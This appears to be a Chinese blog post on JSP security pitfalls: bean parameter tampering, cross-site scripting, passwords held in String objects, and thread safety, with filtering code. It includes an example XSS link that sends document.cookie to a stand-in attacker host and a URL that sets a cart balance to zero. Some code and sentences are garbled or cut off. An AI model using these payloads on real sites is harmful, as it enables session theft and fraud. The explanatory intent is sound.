長盛不衰的跨站腳本-等等

守好Bean的入口 <?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />

 

注意到property="*"了嗎?這表明用戶在可見的JSP頁面中輸入的,或是直接通過Query String提交的全部變量的值,將存儲到匹配的bean屬性中。

用戶是這樣提交請求的:

http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342

但是不守規矩的用戶呢?他們可能會提交:

http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0

這樣,balance=0的信息就被在存儲到了JavaBean中了。當他們這時點擊“chekout”結賬的時候,費用就全免了。

這與PHP中全局變量導致的安全問題如出一轍。由此可見:“property="*"”一定要慎用!

 

長盛不衰的跨站腳本

 

跨站腳本(Cross Site Scripting)攻擊是指在遠程WEB頁面的HTML代碼中手插入惡意的JavaScript, VBScript, ActiveX, HTML, Flash等腳本,竊取瀏覽此頁面的用戶的隱私,改變用戶的設置,破壞用戶的數據。跨站腳本攻擊在多數情況下不會對服務器和WEB程序的運行造成影響,但對客戶端的安全構成嚴重的威脅。

舉個最簡單的例子。當我們提交

由於在返回“name”變量的值給客戶端時,腳本沒有進行任何編碼或過濾惡意代碼,當用戶訪問嵌入惡意“name”變量數據鏈接時,會導致腳本代碼在用戶瀏覽器上執行,可能導致用戶隱私泄露等後果。比如下面的鏈接:

http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser;scriptdocument.location='http://www.hackersite.com/xxx.xxx?'+document.cookie/script

xxx.xxx用於收集後邊跟的參數,而這裏參數指定的是document.cookie,也就是訪問此鏈接的用戶的cookie。在ASP世界中,很多人已經把偷cookie的技術練得爐火純青了。在JSP裏,讀取cookie也不是難事。當然,跨站腳本從來就不會侷限於偷cookie這一項功能,相信大家都有一定了解,這裏就不展開了。

對所有動態頁面的輸入和輸出都應進行編碼,可以在很大程度上避免跨站腳本的攻擊。遺憾的是,對所有不可信數據編碼是資源密集型的工作,會對 Web 服務器產生性能方面的影響。常用的手段還是進行輸入數據的過濾,比如下面的代碼就把危險的字符進行替換:

 

% String message = request.getParameter("message");
message = message.replace ('
','_');
message = message.replace ('
','_');
message = message.replace ('"','_');
message = message.replace ('/'','_');
message = message.replace ('%','_');
message = message.replace (';','_');
message = message.replace ('(','_');
message = message.replace (')','_');
message = message.replace ('&','_');
message = message.replace ('+','_'); %

 

  更積極的方式是利用正則表達式只允許輸入指定的字符:

public boolean isValidInput(String str)
{
 
if(str.matches("[a-z0-9]+")) return true;
 
else return false;
}

 

時刻牢記SQL注入

 

String對象帶來的隱患

 

Java平臺的確使安全編程更加方便了。Java中無指針,這意味着 Java 程序不再像C那樣能對地址空間中的任意內存位置尋址了。在JSP文件被編譯成 .class 文件時會被檢查安全性問題,例如當訪問超出數組大小的數組元素的嘗試將被拒絕,這在很大程度上避免了緩衝區溢出攻擊。但是,String對象卻會給我們帶來一些安全上的隱患。如果密碼是存儲在 Java String 對象中的,則直到對它進行垃圾收集或進程終止之前,密碼會一直駐留在內存中。即使進行了垃圾收集,它仍會存在於空閒內存堆中,直到重用該內存空間爲止。密碼 String 在內存中駐留得越久,遭到竊聽的危險性就越大。更糟的是,如果實際內存減少,則操作系統會將這個密碼 String 換頁調度到磁盤的交換空間,因此容易遭受磁盤塊竊聽攻擊。爲了將這種泄密的可能性降至最低(但不是消除),您應該將密碼存儲在 char 數組中,並在使用後對其置零(String 是不可變的,無法對其置零)。

 

線程安全初探

 

“JAVA能做的,JSP就能做。與ASPPHP等腳本語言不一樣,JSP默認是以多線程方式執行的。以多線程方式執行可大大降低對系統的資源需求,提高系統的併發量及響應時間。線程在程序中是獨立的、併發的執行路徑,每個線程有它自己的堆棧、自己的程序計數器和自己的局部變量。雖然多線程應用程序中的大多數操作都可以並行進行,但也有某些操作(如更新全局標誌或處理共享文件)不能並行進行。如果沒做好線程的同步,在大併發量訪問時,不需要惡意用戶的熱心參與,問題也會出現。最簡單的解決方案就是在相關的JSP文件中加上: %@ page isThreadSafe="false" %>指令,使它以單線程方式執行,這時,所有客戶端的請求以串行方式執行。這樣會嚴重降低系統的性能。我們可以仍讓JSP文件以多線程方式執行,通過對函數上鎖來對線程進行同步。一個函數加上synchronized 關鍵字就獲得了一個鎖。

但是這樣仍然會對系統的性能有一定影響。一個更好的方案是採用局部變量代替實例變量。因爲實例變量是在堆中分配的,被屬於該實例的所有線程共享,不是線程安全的,而局部變量在堆棧中分配,因爲每個線程都有它自己的堆棧空間,所以這樣線程就是安全的了。

  如果採用的是實例變量,那麼該實例變量屬於該實例的所有線程共享,就有可能出現用戶A傳遞了某個參數後他的線程轉爲睡眠狀態,而參數被用戶B無意間修改,造成好友錯配的現象。

 

發佈了115 篇原創文章 · 獲贊 2 · 訪問量 13萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章